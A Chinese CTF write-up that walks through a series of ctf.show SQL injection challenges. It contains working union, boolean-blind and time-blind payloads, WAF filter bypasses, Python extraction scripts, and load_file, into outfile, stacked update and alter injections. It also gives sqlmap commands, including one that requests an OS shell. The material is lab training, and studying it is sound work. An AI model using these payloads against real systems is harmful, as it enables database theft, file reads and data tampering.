php中常见sql注入类型有哪些,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
//拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
直接开始
1'--+
成功会先 id为1的用户密码。
1' order by 3--+
1,2,3处都有回显
-1' union select 1,2,3--+
爆出库名 ctfshow_web
-1' union select 1,2,database()--+
爆出表名 ctfshow_user
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
爆出列名 id,username,password
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' and table_schema=database()--+
爆出字段内容
1adminadmin~,2user1111~,3user2222~,4userAUTOpasswordAUTO~,5userAUTOpasswordAUTO~,6userAUTOpasswordAUTO~,7userAUTOpasswordAUTO~,8userAUTOpasswordAUTO~,9userAUTOpasswordAUTO~,10userAUTOpasswordAUTO~,11userAUTOpasswordAUTO~,12userAUTOpasswordAUTO~,13userAUTOpasswordAUTO~,14userAUTOpasswordAUTO~,15userAUTOpasswordAUTO~,16userAUTOpasswordAUTO~,17userAUTOpasswordAUTO~,18userAUTOpasswordAUTO~,19userAUTOpasswordAUTO~,20userAUTOpasswordAUTO~,21userAUTOpasswordAUTO~,22userAUTOpasswordAUTO~,23userAUTOpasswordAUTO~,24userAUTOpasswordAUTO~,26flagflag{90be1d62-6fab-41d6-aa43-c7d5a1c90ab7}~
-1' union select 1,2,group_concat(id,username,password,0x7e) from ctfshow_user--+
还可以直接抓包找到 api,直接爆出
http://96977979-97ee-410a-8c0f-bd0b2883bd95.chall.ctf.show/api/?id=1'or1--+&page=1&limit=10
流程就不来了,
直接
-1' union select 1,group_concat(username,password) from ctfshow_user2--+
查询语句
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
过滤了返回字符串不能含有 flag,
那我们就将他十六进制编码即可。
-1' union select 1,2,hex(group_concat(username,password)) from ctfshow_user3--+
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
无回显,只好盲注了,
1' and ascii(substr((select password from ctfshow_user4 where username ='flag'),1,1))=2--+
验证了成功可以盲注,第一位ascii是102,也就是f
写个脚本。
# @Author:yanmie import requests url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and " headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" } i=0 j=1 result = "" while True: i = i + 1 payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{j},1)) = {i}--+" #print(i,j) payload = payload.format(j=j,i=i) # print(payload) response = requests.get(url = url+payload,headers = headers) if "admin" in response.text: result += chr(i) print(result) i = 0 j = j+1 if i == 128: break print(result)
好家伙,自增脚本结果也是废了一小段时间才跑出来。
那就再写一个二分法脚本:
# @Author:yanmie import requests url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and " headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" } i = 0 result = "" while True: head = 0 tail = 127 i += 1 while head<tail: mid = (head+tail)//2 # 除以2取整 payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{i},1))>{mid}--+" payload = payload.format(i=i,mid=mid) # print(url+payload) response = requests.get(url=url+payload,headers=headers) # print(response.text) if "admin" in response.text: head = mid+1 else: tail = mid if head == 32: break result += chr(head) print(result) print(result)
结果快多了。
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
[\x00-\x7f]/i
匹配了基本 ascii 码值。也就是说基本页面不会回显数据库里的数据。
只会回显
{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":1,"data":[]}
尝试间件盲注1' and sleep(5)--+
成功。
if 函数if(a,b,c)
, if判断,如果为真,返回b,否则返回c
继续写脚本
# @Author: yanmie import requests import time url = "http://e1c35db2-f1de-4e77-8ae9-f7739465a81d.chall.ctf.show/api/v5.php?id=1' and " headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" } i = 0 result = "" while True: i += 1 for j in range(0,127): j += 1 payload = "if((ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1)))={j},sleep(5),0)--+".format(i=i,j=j) start_time = time.time() response = requests.get(url=url+payload,headers=headers) end_time = time.time() print(i,j) if end_time-start_time>5: result += chr(j) break print(result) if '}' in result: break
可是这个脚本耗费时间太长了,42*5 秒 多。
另一种解法:
把 flag 内容写入 文件
1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+
·查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
万能密码:
1' or 1--+
在表中 flag 直接回显
还可以大小写绕过:
-1' UnION sELect 1,2,3--+ -1' UnION sELect id,username,password from ctfshow_user where username='flag'--+
反复测试,过滤了空格。
1'--+
这个不可以 ,1'%23
可以。
过滤空格可以使用/**/
绕过
1'/**/or/**/1%23 1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23 1'/**/union/**/select/**/id,username,password/**/from`ctfshow_user`where`username`='flag'%23
表名,列名可以用反引号。
过滤了空格和*
可以用tab
代替空格,也就是%09
1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username='flag'%23
一把梭
1'or'1'%23
经测试,过滤了空格、%09
、/**/
可以用%0c
绕过。
1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
还可以一把梭
1'or'1'%23
把所有能用的空格都过滤了。
换其他姿势,直接查 id
-1'or(id=26)and'1
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
返回逻辑//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i', $str);
}查询结果//返回用户表的记录总数
$user_count = 0;
需要我们post传入参数tableName
当传入tableName=ctfshow_user
时,有变化
$user_count = 22;
说明有 22 行数据。
这里吧等于号过滤了,所以利用正则。
不能有空格,不能有 *
tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('f'))
成功利用 where 条件匹配到 f
写个脚本
# @Author: yanmie import requests url = "http://cd6b047c-93a9-41e2-b3e2-ab58d7328aea.chall.ctf.show/select-waf.php" payload = "`ctfshow_user`where(substr(`pass`,{},1)regexp('{}'))" str = "flag{abcdefghijklmnopqrstuvwxyz0123456789-}" i = 0 flag = "" while True: i += 1 for j in str: data = { "tableName":payload.format(i,j) } response = requests.post(url=url,data=data) if "user_count = 1;" in response.text: # print(response.text) # print(j) flag += j break print(flag) if '}' in flag: break
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
返回逻辑//对传入的参数进行了过滤
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}查询结果//返回用户表的记录总数
$user_count = 0;
过滤了where
、双引号、单引号
使用 right join
RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。on 条件是在生成临时表时使用的条件,它不管 ON 中的条件是否为真,都会返回左边表中的记录;
传参
tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(chr(102)))
得到
$user_count = 43;
说明可以进行这样的注入。
写个脚本:
import requests url = "http://57dc38dc-6d61-491f-8ca1-6c199e3256be.chall.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))" i = 5 flag ="flag{" while True: i += 1 for j in range(127): data = { "tableName":payload.format(i,j) } response = requests.post(url=url,data = data) if "user_count = 43;" in response.text: if chr(j) != ".": flag += chr(j) break; print(flag.lower())
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
返回逻辑//对传入的参数进行了过滤
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}查询结果//返回用户表的记录总数
$user_count = 0;
多过滤了数字。
sql语句中 true 即为 1 ,true+true=2
,写个脚本
# @Author: yanmie import requests url = "http://dfd3af46-a52f-48ad-a9de-077c38c0597a.chall.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))" i =5 flag = "flag{" def createNum(n): num = 'true' if num == 1: return 'true' else: for i in range(n-1): num += '+true' return num; while True: i += 1 for j in range(127): data ={ "tableName":payload.format(createNum(i),createNum(1),createNum(j)) } response = requests.post(url=url,data=data) # print(i,j,data) # print(response.text) # if response.text.find("$user_count = 43;") > 0: if "$user_count = 43;" in response.text: if chr(j) != ".": flag += chr(j) break; print(flag.lower()) if chr(j) == '}': break
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
返回逻辑//对传入的参数进行了过滤
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|%|<|>|^|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}查询结果//返回用户表的记录总数
$user_count = 0;
直接拿上题的脚本就可以
# @Author: yanmie import requests url = "http://f9cb7903-66ce-445d-874a-b54de32dd8da.chall.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))" i =5 flag = "flag{" def createNum(n): num = 'true' if num == 1: return 'true' else: for i in range(n-1): num += '+true' return num; while True: i += 1 for j in range(127): data ={ "tableName":payload.format(createNum(i),createNum(1),createNum(j)) } response = requests.post(url=url,data=data) if "$user_count = 43;" in response.text: if chr(j) != ".": flag += chr(j) break; print(flag.lower()) if chr(j) == '}': break
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回逻辑$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
md5()函数有两个参数,一个是要加密的字符串,另一个是输出格式,
可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
但是组成查询语句的时候这个hex会被转成字符串,如果转换之后的字符串包含'or',就会和原查询语句一起组成.
也就是说将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ xxx 。
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or'6<其他字符>
web188~where逻辑条件
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|(|)|'|"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
这里限制密码只能为数字,但是这里是弱比较,0==admin
用户名处也正则限制了很多,但还是有很多姿势。
select * from users where first_name=0; select * from users where first_name=1<1; select * from users where first_name=1=0;
可以查询出所有数据,为什么呢?逻辑结构,首先first_name=1
为假也就是0 ,然后0<1
就为真,所以可以查。
这样也可以,反引号列名
select * from users where first_name=`first_name`;
所以此题payload
0/0 1<1/0 0=0/0
提示:
flag在api/index.php文件中
访问http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php
有两种状态,查询失败和密码错误。
利用这两种状态来读取文件判断flag具体在哪个位置。
MySQL定位函数
INSTR(str,substr)
–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
FIND_IN_SET(str,strlist)
–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
LOCATE(substr,str,pos)
–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置在pos。如若substr 不在str中,则返回值为0
POSITION(substr IN str)
–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0
构造payload:
username=username=if(locate("flag{",load_file('/var/www/html/api/index.php'))>0,0,1)&password=1
页面返回
{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}
说明文件中确实存在flag.
写个脚本:
思路:先得到flag
所在位置,然后从此位置开始使用二分法得到每位字符拼接成flag。
# @Author: yanmie import requests url = "http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php" def getFlagPos(): payload = "if(locate('flag{',load_file('/var/www/html/api/index.php'))>%d,0,1)" head = 0 tail = 1000 while head<tail: mid = (head+tail)//2 data = { "username":payload%mid, "password":1, } response = requests.post(url=url,data=data) if "密码错误" == response.json()['msg']: head = mid+1 else: tail = mid return mid def getFlag(num): payload = "if(ascii(substr((load_file('/var/www/html/api/index.php')),{},1))>{},0,1)" flag ="" while True: head = 0 tail = 127 num += 1 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(num,mid), "password" : 1, } response = requests.post(url=url,data=data) if "密码错误" == response.json()['msg']: head = mid + 1 else: tail = mid flag += chr(head) print(flag) if "}" in flag: break return flag if "__main__" == __name__: pos = getFlagPos() # 得到 flag{ 在文件中的位置 print(pos) flag = getFlag(pos) print("[+] the flag is : ",flag)
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
如果瞎输入用户名,会提示用户名不存在,
但是如果输入1'or'1'='1
就会提示密码错误存在布尔注入.
找到api开始
http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/
写个脚本
# Author: yanmie import requests url = "http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/" # 查询当前数据库 def getDatabase(): payload = "0'or(ascii(substr(database(),{},1))>{})='1" i = 0 database = "" while True: i +=1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0 } response = requests.post(url=url,data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return database database += chr(head) # 查询所有表名 def getTable(): payload = "0'or(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1" i = 0 table_name = "" while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0, } response = requests.post(url=url,data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return table_name table_name += chr(head) # 查询 ctfshow_fl0g 表中的所有列名 def getColumn(): payload = "0'or(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1" i = 0 column_name = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return column_name column_name += chr(head) # 查询字段中内容 def get_dump(): payload = "0'or(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1" i = 0 dump = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return dump dump += chr(head) if "__main__" == __name__: database = getDatabase() print("[+]the database is: ",database) # 得到 ctfshow_web table_name = getTable() print("[+]the table_names are: ",table_name) # 得到 ctfshow_fl0g,ctfshow_user column_name = getColumn() print("[+]the column_name are: ", column_name) # 得到 id,f1ag dump = get_dump() print("[+]the flag is :",dump)
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
过滤了ascii
,所以不能使用上题的方式了。
可以使用ord
代替ascii
。
ord(str) 如果字符串str的最左边的字符是一个多字节字符返回该字符,用这个公式其组成字节的数值计算的代码,如果最左边的字符不是一个多字节字符,ORD()返回相同的值如ASCII()函数。
如select ord('a');
则返回 a 的 ascii 码值。
那么只需更改一下上官的脚本就可以直接拿到flag了。
# Author: yanmie import requests url = "http://5f86e6f7-cc18-49ae-8d60-b7184fde02d2.chall.ctf.show/api/" # 查询当前数据库 def getDatabase(): payload = "0'or(ord(substr(database(),{},1))>{})='1" i = 0 database = "" while True: i +=1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0 } response = requests.post(url=url,data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return database database += chr(head) # 查询所有表名 def getTable(): payload = "0'or(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1" i = 0 table_name = "" while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0, } response = requests.post(url=url,data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return table_name table_name += chr(head) # 查询 ctfshow_fl0g 表中的所有列名 def getColumn(): payload = "0'or(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1" i = 0 column_name = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return column_name column_name += chr(head) # 查询字段中内容 def get_dump(): payload = "0'or(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1" i = 0 dump = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密码错误" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return dump dump += chr(head) if "__main__" == __name__: database = getDatabase() print("[+]the database is: ",database) # 得到 ctfshow_web table_name = getTable() print("[+]the table_names are: ",table_name) # 得到 ctfshow_fl0g,ctfshow_user column_name = getColumn() print("[+]the column_name are: ", column_name) # 得到 id,f1ag dump = get_dump() print("[+]the flag is :",dump)
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
又增加过滤了ord
、hex
,根据过滤内容,上关还可以用hex
。
我们可以使用正则匹配regexp
# Author: yanmie import requests url = "http://59005239-92ca-42fd-ac7a-4d41b67b2e55.chall.ctf.show/api/" flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}" # 查询字段中内容 def get_dump(): payload = "0'or((substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))regexp('{}'))='1" i = 0 dump = "" while True: i += 1 for j in flag: data = { "username": payload.format(i, j), "password": 0, } response = requests.post(url=url, data=data) # +print(i,j,data) if "密码错误" in response.json()['msg']: dump += j print(dump) if "}" in dump: return dump break if "__main__" == __name__: dump = get_dump() print("[+]the flag is :",dump)
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法'; die(json_encode($ret));
}
又把substr
过滤了
但是我们可以使用mid
代替。
MID 函数用于从文本字段中提取字符
写个脚本
(哈哈哈,表名和前面的不一样了,大半天没跑出来。。)
# Author: yanmie import requests url = "http://83decdb8-6686-4d24-9a8f-1a51156a0e21.chall.ctf.show/api/" flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_" # 查询字段中内容 def get_dump(): # payload = "0'or((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'))='1" # 得到 ctfshow_flxg # payload = "0'or((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'))='1" # 得到 id f1ag payload = "0'or((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'))='1" i = 0 dump = "" while True: i += 1 for j in flag: data = { "username": payload.format(i, j), "password": 0, } response = requests.post(url=url, data=data) # print(i,j,data) if "密码错误" in response.json()['msg']: dump += j print(dump) if "}" in dump: return dump break if "__main__" == __name__: dump = get_dump() print("[+]the flag is :",dump)
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法'; die(json_encode($ret));
}
直接上题的脚本就可以跑出来。
其他方法,利用 mysql定位函数locate
# Author: yanmie import requests url = "[http://ad1cf08f-6278-4479-9deb-48c](http://ad1cf08f-6278-4479-9deb-48c)[3ce9449a9.chall.ctf.show/api/](http://4ce9449a9.chall.ctf.show/api/)" flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_," # 查询字段中内容 def get_dump(): # payload = "0'or(if((locate('{}',(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1,1,0))='1" # 得到 ctfshow_flxg,ctfshow_user # payload = "0'or(if((locate('{}',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')))=1,1,0))='1" # 得到 id,f1ag payload = "0'or(if((locate('{}',(select f1ag from ctfshow_flxg limit 0,1)))=1,1,0))='1" dump = "" while True: for j in flag: dump += j data = { "username": payload.format(dump), "password": 0, } response = requests.post(url=url, data=data) # print(j,data) if "密码错误" in response.json()['msg']: # dump += j print(dump) if "}" in dump: return dump break else: dump = dump[:-1] if "__main__" == __name__: dump = get_dump() print("[+]the flag is :",dump)
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
把常见的查询语句过滤了,所以来个堆叠update
更新数据操作。
payload:
把所有密码都更改为 1
0x61646d696e;update`ctfshow_user`set`pass`=1
用十六进制只因为,这里的查询语句没有引号包裹
$sql = "select pass from ctfshow_user where username = {$username};";
还可以把用户名也全部跟改为1,就不用十六进制了
1;update`ctfshow_user`set`username`=1
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
限制了用户名长度,十六个长度是不够更改数据的。
但是偶然试了一下select多查一个数据,结果成功登陆了。但是这里题目明明是过滤的。。。
payload:
username: 1;select(1); pass: 1
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
update
不能使用了。
想插入数据但是过滤了into
现在没有长度限制,没有过滤空格,不能select
、update
、insert
那就只能alter
了。
ALTER TABLE 语句用于在已有的表中添加、修改或删除列。
那我们可以利用alter
修改字段名,把id
和pass
对调。
username: 0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255) pass: 数字自增测试 # 注意用户名第一次填 payload,之后就只填 0
这里为甚么用户名使用0,因为数据表里刚开始测试时候,用户名为0 时,密码错误,说明有这个用户名。
写个脚本:
# Author: yanmie import requests url = "http://9c929736-5b1e-4098-a346-b84a2d3e3509.chall.ctf.show/api/" i = 0 while True: i += 1 if i==1: data = { "username" : "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)", "password" : 0, } response = requests.post(url=url,data=data) else: data = { "username" : 0, "password" : {i} } response = requests.post(url=url,data=data) if "登陆成功" in response.json()['msg']: print(response.text) break
另一种解法:
username: 0;show tables; pass: ctfshow_user
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
过滤了(
,所以不能用 alter 了,
但是还能直接
username: 0;show tables password: ctfshow_user
sqlmap最新版下载
使用--user-agent 指定agent
使用--referer 绕过referer检查
判断注入点:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show"
爆数据库
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --dbs --batch
得到
available databases [5]: [*] ctfshow_web [*] information_schema [*] mysql [*] performance_schema [*] test
爆表名:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables --batch
得到
Database: ctfshow_web [1 table] +--------------+ | ctfshow_user | +--------------+
爆字段:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns --batch
爆内容
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
得到 shell
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --os-shell
使用--data 调整sqlmap的请求方式
post方式提交参数
python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" --dbs --batch python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump --batch
使用--method 调整sqlmap的请求方式
python2 sqlmap.py -u "http://ca0824d5-f358-4494-b5ee-0f0ad93fdf39.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user --dump --batch
使用--cookie 提交cookie数据
python2 sqlmap.py -u "http://c1338d3e-26fa-49c9-b2aa-583f5fe1418f.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=beu7iuepljde5gf9frge7542of;" --batch
api调用需要鉴权
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
不访问的话
{"code":0,"msg":"api鉴权失败","count":1,"data":[[]]}
python2 sqlmap.py -u "http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_flax -C flagx --dump --headers="Content-Type: text/plain" --safe-url="http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/getToken.php" --safe-freq=1 --batch
sql需要闭合
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
这里 sql 语句闭合方式变化了,
--prefix=PREFIX
–> 攻击载荷的前缀
--suffix=SUFFIX
–> 攻击载荷的后缀
其实不使用,sqlmap也可以判断出来。
python2 sqlmap.py -u "http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump --headers="Content-Type: text/plain" --safe-url=http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/getToken.php --safe-freq=1 --batch
--tamper 的初体验
function waf($str){
return preg_match('/ /', $str);
}
直接使用sqlmap自带 tamper 脚本,绕过空格过滤
